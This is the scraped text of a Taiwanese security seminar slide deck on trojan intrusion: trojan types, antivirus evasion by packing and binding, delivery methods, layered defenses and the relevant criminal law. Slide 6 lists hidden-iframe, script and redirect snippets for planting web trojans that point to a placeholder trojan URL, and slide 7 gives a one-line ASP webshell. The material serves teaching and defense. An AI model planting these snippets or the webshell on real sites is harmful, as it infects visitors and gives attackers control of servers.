<4D F736F F F696E74202D20B2C43033B3F55FA4ECB0A8A44AAB49A46AB4A6AFB5B2C43032B6B05FBAEBB5D8AAA95FC1BFB8712E BACDBAE65BCD2A

Size: px

Start display at page:

Download "<4D F736F F F696E74202D20B2C43033B3F55FA4ECB0A8A44AAB49A46AB4A6AFB5B2C43032B6B05FBAEBB5D8AAA95FC1BFB8712E BACDBAE65BCD2A"

槽抽贝
5 years ago
Views:

1 網路攻防戰之木馬入侵大揭秘 II ( 精華版 ) 注意事項部份簡報為節省版面, 請點選各張簡報標註之超連結自行參閱本場次的 Demo 示範因場地之限 Demo 時無法再將字形及畫面放大, 想要抄筆記的同學請盡量往前坐本場次示範之手法為避免煽惑他人犯罪, 部分破壞性資訊例如 : 關鍵參數語法已做相關隱藏處理本場次示範所使用之惡意軟體受限於相關法律規定請勿索取 1

2 大綱攻擊第一招 : 木馬產生術原生型木馬漏洞型木馬網頁木馬攻擊第二招 : 避過防毒軟體的方式穿上防護罩的加殼術使用捆綁軟體的偽裝術攻擊第三招 : 傳送的手法與利用的管道隨身裝置 :USB 等儲存媒體惡意超連結 : 網站討論區部落格等郵件社交工程利用搜尋引擎網路釣魚防禦大絕招 : 防制手段木馬流程阻擋點之一木馬流程阻擋點之二木馬流程阻擋點之三木馬流程阻擋點之四攻擊第一招 : 木馬產生術使用木馬的考量與優點 : 木馬的特性木馬具有的功能木馬的隱藏木馬的類別原生型木馬漏洞型木馬網頁型木馬 2

3 木馬的類別原生型木馬 : 常見的附檔名 :.exe.com 此種木馬本身就是一個完整的遠端控制型的木馬程序, 不需要依賴漏洞例如 : 灰鴿子依木馬的特點與操作方法, 在中國大陸上, 可分為第一代 ~ 第五代木馬的類型不管是哪種類別的木馬 ( 網頁木馬 asp 木馬等 ), 最終都是需要將 exe 檔的木馬傳至被害 ( 駭 ) 的電腦中, 只是利用不同的傳播類別增加攔截的困難度感染後的行為可能 : 直接使用該木馬 exe 做竊取使用 DLL Injection 技巧與正常程式綑綁的木馬做竊取使用 Rootkit 技巧與系統程式綑綁的木馬做竊取原生型木馬的感染流程駭客 P2P 網站論壇程式的收集區不知情的一般使用者原生型木馬 3

中國大陸木馬的發展與分類第一代木馬 : 主要對付 Unix 系統, 而 Windows 當時為數不多, 代表作 :BO NetSpy 等第二代木馬 : 建構了目前大多數駭客對木馬定義的功能, 這時期開始 Windows 型木馬改為主流, 代表作 :BO2000 Sub7 冰河等第三代木馬 : 增加了穿透防火牆的功能 ( 反向連結 ) 等技術來逃避單機型防火牆及 IP 分享器之功能代表作

4 中國大陸木馬的發展與分類第一代木馬 : 主要對付 Unix 系統, 而 Windows 當時為數不多, 代表作 :BO NetSpy 等第二代木馬 : 建構了目前大多數駭客對木馬定義的功能, 這時期開始 Windows 型木馬改為主流, 代表作 :BO2000 Sub7 冰河等第三代木馬 : 增加了穿透防火牆的功能 ( 反向連結 ) 等技術來逃避單機型防火牆及 IP 分享器之功能代表作 : 灰鴿子家族第四代木馬 : 再增加了執行緒隱藏技術 DLL Injection 並漸漸往 Rootkit 技術整合, 使系統更加難以發現木馬的存在與入侵的連接代表作 : 戶外幽靈 GWBOY 殭屍程式等第五代木馬 : 再增加可隨機替換掉一個狀態為停止的系統服務, 不會在 Registry 中新增任何的值, 安裝後木馬的檔名與存放的目錄與路徑都是隨機的, 會自動關閉自己隨機選的 port 等需要時再隨機選一個傳輸代表作 : 暗黑天使等反向 ( 反彈 ) 連結木馬傳輸方式攻擊網站並植入網頁後門, 等不知情的民眾上網站時下載木馬駭客尋正常程式的 port 與行為傳出資料被植入木馬的使用者防火牆中間代理網站或惡意程式的網站 4

5 木馬的類別漏洞型木馬 : 常見的附檔名 :.exe.htm.html 必須依賴系統瀏覽器應用程式的漏洞才能產生感染及植入的惡意行為例如 :MS07017 此類型的木馬也可大致上分為二類 : 利用木馬產生器產生出類似於原生型木馬的.exe 檔, 再利用各種社交工程手法傳給目標主機, 與原生型木馬的差別在於, 如果目標主機不具有相對應的漏洞則不會觸發之後的感染行為利用木馬產生器產生出僅具有 HTML 程式碼的.htm 檔, 再利用網頁瀏覽或者掛馬呼叫網頁的方式來觸發需要呼叫的.exe 檔木馬漏洞型木馬的感染流程駭客知名的官方網站首頁或其他網頁被植入 <ifrme> 隱藏框架引導到跳版網站不知情的一般使用者首頁網路釣魚跳版網站原生型木馬漏洞型網馬 5

6 網站網頁掛馬語法框架掛馬 : <iframe src= 木馬網址 width=0 height=0></iframe> JScript 文件掛馬 : 首先將以下語法存檔為 xxx.js 然後將此文件利用各種方式上傳到目標處 document.write("<iframe width='0' height='0' src=' 木馬網址 '></iframe>"); 最後 JScript 掛馬的語法為 : <script language=javascript src=xxx.js></script> JScript 變型加密 : <SCRIPT language= JScript.Encode src= muma.txt 可改成任何附檔名 body 掛馬 : <body onload="window.location=' 木馬網址 ';"></body> 隱藏掛馬 : top.document.body.innerhtml = top.document.body.innerhtml + '\r\n<iframe src=" CSS 中掛馬 : 先將製作好的 muma.js 先利用各種方式上傳至目標處 body { background-image: url('javascript:document.write("<script src= JAVA 掛馬 : <SCRIPT language=javascript> window.open (" 木馬網址 ","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script> 圖片偽裝 : <html> <iframe src=" 網馬網址 " height=0 width=0></iframe> <img src=" 圖片網址 "> </html> 偽裝呼叫 : <frameset rows="444,0" cols="*"> <frame src=" 開啟的網頁 " framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src=" 網馬網址 " frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset> 欺騙超連結網址手法 : <a href= " 迷惑他人超連結網址, 故意顯示這個網址卻連向木馬網址 )" onmouseover="www_163_com(); return true;"> 網頁要顯示的內容 </a> <SCRIPT Language="JavaScript"> function www_xyz_com () { var url=" 真正連的網頁木馬網址 "; open(url,"newwindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,r esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT> 6

7 木馬的類別網頁型木馬 : 常見的附檔名 :.asp.aspx.php 還可分為二種型式 : Asp 網馬或 php 網馬 : 就是利用 asp 或 php 語法並已經添加好各種可以控制檔案的指令所撰寫出來的一個 Web 介面的類似檔案總管的網頁, 也稱之為 Webshell ( 還可細分為含 FSO 檔案瀏覽功能與不含 FSO 的網頁木馬 ) 一句話網頁木馬 : 只利用一行語法來傳值的木馬例如 :<%eval request( value )> 網頁型木馬的感染流程駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬不知情的一般使用者首頁 [ 掛馬 ] 將首頁或其他網頁植入 <ifrme> 隱藏框架引導到跳版網站跳版網站原生型木馬漏洞型網馬 7

8 攻擊第二招 : 避過防毒軟體的方式要避過防毒軟體的方式此行為稱之為免查殺或免殺常用的方式便是針對木馬的執行檔進行加殼 : 對.exe 壓縮 ( 瘦身 ) 或加密 ( 阻擋反組譯 ) 等重組變形加花指令 ( 加花 ): 對.exe 的 PE 增加跳躍無效字元等指令編碼 : 對.htm 的 HTML 語法做函數的編碼加密 : 對.htm 的 HTML 語法做加密當進行這些程序後木馬便會變更其特徵值使防毒軟體對該木馬的檔案辨識不出來進而放行加殼原始目的 : 保護程式原始碼防止修改可以減少程式的體積目前這樣的程序已經被病毒木馬製作者的惡意使用常用的加殼工具 : ASPACK UPX UPXShell WWPACK32 Petite PE-PACK PECompact PKLITE32 NeoLite Shrinker 北斗殼花生殼 8

9 脫殼目的 : 與加殼相反之過程恢復成原始程式碼使其可以修改不同的加殼軟體就需要不同的脫殼軟體, 彼此有對應性, 就如同加密與解密的關係但不是每個加殼工具都可脫殼, 這時就需要手工用動態除錯工具 ( 例 :SoftIce TRW2000) 來處理常用的脫殼工具 : ASPack unpacker UnPEPack ProcDump32 加殼工具自己的脫殼功能木馬的假面具 : 綑綁合併術木馬的植入程式大多是.exe 檔, 大部分有警覺心的使用者及管理員均不會去點選所以必須要使用綑綁正常程式 ( 常見 Flash 或 Office 檔案 ) 之方法, 誘騙 ( 社交工程 ) 目標去點選來達成目的為了不引起懷疑, 入侵者可以把正常程式 ( 好康程式小遊戲序號程式免光碟程式 ) 與木馬程式合併成一個檔案來作為偽裝高階一點的技巧可以利用應用程式 (Office 檔案 Flash 影音播放程式 ) 的漏洞, 來與漏洞型木馬合併, 藉由點選該檔案後執行一連串的連鎖觸發, 來到植入原生型木馬的目的當木馬與正常程式合併時會重新編碼, 也可以達到欺騙防毒軟體之效果常用工具 : Deception Binder FreshBind MicroJoiner ExeBinder 9

10 木馬的偽裝 : 編碼與加密常見於網頁型的木馬, 將 HTML 內 Script 語法做編碼或加密, 來迷惑防毒軟體或 Web 攔截程式, 來達到免殺的目的常用函數 : Escape 加密函數與 unescape 解密函數 Encode 加密函數添零 ( 加空格 ) 加密自寫函數加密可疑檔案上傳分析 : 利用各家防毒軟毒軟體的掃描引擎, 同時對單一一個檔案, 作是否為病毒木馬檔案的分析可協助檢測確認檔案本身是否異常 VirusTotal: 免費線上病毒和惡意軟體掃瞄 VirSCAN.org: 線上防毒引擎掃描網站 v1.00 目前支援 36 款防毒引擎 Online malware scan 10

11 注意事項 : 目前攻擊端使用加殼加花指令 ( 加花 ) 編碼加密來逃避防毒軟體特徵值的偵測, 是目前決定惡意程式是否能成功的關鍵防禦端的解決方案 : 改善防毒軟體引擎的偵測 ( 病毒碼的更新頻率 ) 增加對感染行為的規則判斷 ( 主動式防禦 ) 多重引擎交叉比對閘道端與主機端採用不同防毒規畫增加主動式防火牆的攔截機制攻擊第三招 : 傳送的手法與管道隨身裝置 :USB 等儲存媒體惡意超連結 : 網站討論區部落格等郵件社交工程利用搜尋引擎網路釣魚 11

12 惡意超連結 : 網站討論區部落格等 Web 網站上具有缺失網站伺服器的有弱點或管理不當開發的程式具有資料庫隱碼 (SQL Injection) 弱點開發的程式可進行跨網站指令碼 (XSS) 攻擊開發的程式可進行 Session Hijacking 攻擊或 Cookie 欺騙利用這些缺失來植入網頁型木馬搭配漏洞型木馬利用搜尋引擎網路釣魚手法一 : 購買網路關鍵字廣告服務並於各大入口網站搜尋行銷服務刊登關鍵字廣告, 使用者上網搜尋網路銀行等條件時, 搜尋結果的最上方即出現犯罪集團之關鍵字廣告手法二 : 由於搜尋引擎的搜尋機器人太強大, 可能會將已經被植入惡意連結的網站建立成 index, 提供給一般人搜尋如果該搜尋引擎沒有做好安全控管則易被使用者點選一般民眾認為搜尋網站的搜尋結果應該很可靠? 進而點選進去因為這些廣告或網站係駭客精心設計, 網站管理者亦無法判別廣告之虛偽, 更何況一般民眾, 幾乎無法查覺該網站連結係假冒之網站 12

13 防禦大絕招 : 防制手段木馬流程阻擋點之一木馬流程阻擋點之二木馬流程阻擋點之三木馬流程阻擋點之四木馬流程阻擋點之一駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬首頁不知情的一般使用者跳版網站 13

14 阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務搜尋引擎的阻擋弱點掃描 ( 漏洞型木馬 ) 滲透測試 ( 網頁型木馬 ) 防毒牆 ( 由外到內 ) 阻擋傳入的木馬木馬流程阻擋點之二駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬不知情的一般使用者首頁 [ 掛馬 ] 將首頁或其他網頁植入 <ifrme> 隱藏框架引導到跳版網站跳版網站 14

15 阻擋策略 : 設備 SUS / WSUS 修補系統漏洞 Web DB 的權限控管企業型防毒軟體及防間諜軟體 LOG 及事件分析軟體 Web 與 DB 的備份軟體服務搜尋引擎的阻擋弱點掃描 ( 漏洞型木馬 ) 滲透測試 ( 網頁型木馬 ) 程式碼檢測 ( 網頁型木馬 ) 檢視與設定資料夾權限移除不需要及罕用的服務 ( 原生型木馬 ) 變更系統與 Web 相關預設值 ( 網頁型木馬 ) 木馬流程阻擋點之三駭客知名的官方網站首頁不知情的一般使用者跳版網站原生型木馬漏洞型網馬 15

16 阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務收集易被植入或經常感染的網址成為黑名單 ( 網頁型木馬 ) 防毒牆 ( 由內到外 ) 阻擋傳輸的木馬 Proxy Server 的黑白名單網址過濾或攔截的設備與軟體木馬流程阻擋點之四駭客知名的官方網站不知情的一般使用者跳版網站 16

17 阻擋策略 : 設備 Windows Update / Microsoft Update 修補系統漏洞 ( 漏洞型木馬 ) 單機型防毒軟體及防間諜軟體個人單機型防火牆 ( 反向連結木馬 ) 網頁瀏覽安全防護軟體 ( 網頁木馬 ) 個人資料的備份軟體服務善用線上掃毒比對不同防毒 ( 加殼加花編碼加密 ) 本機 HOSTS 惡意網址清單 ( 網頁型木馬 ) 改用其它瀏覽器可以改善 ( 主要是避免 IE 的漏洞與不良的 ActiveX 但不可能完全避免 ) 改善使用者的上網行為與習性常用工具 : 檔案偵測 ( 免費 ) Microsoft TechNet Windows Sysinternals p// / / / ysinternals/default.mspx Process Explorer for Windows v ysinternals/security/processexplorer.mspx AutoRuns for Windows v ysinternals/security/autoruns.mspx 17

18 結論攻擊第一招 : 木馬產生術原生型木馬漏洞型木馬網頁木馬攻擊第二招 : 避過防毒軟體的方式穿上防護罩的加殼術使用捆綁軟體的偽裝術攻擊第三招 : 傳送的手法與利用的管道隨身裝置 :USB 等儲存媒體惡意超連結 : 網站討論區部落格等郵件社交工程利用搜尋引擎網路釣魚防禦大絕招 : 防制手段木馬流程阻擋點之一木馬流程阻擋點之二木馬流程阻擋點之三木馬流程阻擋點之四問題與討論網路攻防戰部落格 18

法律宣導刑法第 4 條規定 : 犯罪之行為或結果, 有一在中華民國領域內者, 為在中華民國領域內犯罪刑法第 153 條規定 : 以文字圖畫或他法, 煽惑他人犯罪者, 處二年以下徒刑拘役或一千元以下罰金刑法第 339-3 條 : 意圖為自己或第三人不法之所有, 以不正方法將虛偽資料或不正指令輸入電腦或其相關設備,

致生損害於公眾或他人者, 處五年以下有期徒刑拘役或科或併科二十萬元以下罰金刑法第 360 條規定 : 無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備, 致生損害於公眾或他人者, 處三年以下有期徒刑拘役或科或併科十萬元以下罰金刑法第 362 條規定 : 製作專供犯罪 ( 例如利用病毒程式干擾電腦 ) 之程式,

19 法律宣導刑法第 4 條規定 : 犯罪之行為或結果, 有一在中華民國領域內者, 為在中華民國領域內犯罪刑法第 153 條規定 : 以文字圖畫或他法, 煽惑他人犯罪者, 處二年以下徒刑拘役或一千元以下罰金刑法第條 : 意圖為自己或第三人不法之所有, 以不正方法將虛偽資料或不正指令輸入電腦或其相關設備, 製作財產權之得喪變更紀錄, 而取得他人財產, 得處以七年以下有期徒刑刑法第 358 條規定 : 無故輸入他人帳號密碼破解使用電腦之保護措施或利用電腦系統之漏洞, 而入侵他人之電腦或其相關設備者, 處三年以下有期徒刑拘役或科或併科十萬元以下罰金刑法第 359 條 : 無故取得刪除或變更他人電腦或其相關設備之電磁紀錄, 致生損害於公眾或他人者, 處五年以下有期徒刑拘役或科或併科二十萬元以下罰金刑法第 360 條規定 : 無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備, 致生損害於公眾或他人者, 處三年以下有期徒刑拘役或科或併科十萬元以下罰金刑法第 362 條規定 : 製作專供犯罪 ( 例如利用病毒程式干擾電腦 ) 之程式, 而供自己或他人使用, 致生損害於公眾或他人時, 處五年以下有期徒刑或科二十萬元以下罰金電腦處理個人資料保護法第 34 條 : 意圖為自己或第三人不法之利益或損害他人之利益, 而對於個人資料檔案為非法輸出干擾變更刪除或以其他非法方法妨害個人資料檔案之正確, 致生損害於他人者, 處三年以下有期徒刑拘役或科新台幣五萬元以下罰金 BCCS 19

Microsoft PowerPoint _木馬入侵_講義.ppt [相容模式]

Microsoft PowerPoint _木馬入侵_講義.ppt [相容模式] 網路攻防戰之木馬入侵大揭秘講師呂守箴大綱攻擊第一招 : 木馬產生術為什麼會有木馬病毒? 類型一 : 原生型木馬類型二 : 漏洞型木馬類型三 : 網頁木馬攻擊第二招 : 避過防毒軟體的方式木馬與病毒的偽裝術攻擊第三招 : 木馬傳送的手法與利用的管道郵件社交工程的病毒傳輸方式隨身裝置 : 智慧型手機與平板電腦的病毒防禦大絕招 : 防制手段常見防毒與防間諜軟體的應用攻擊第一招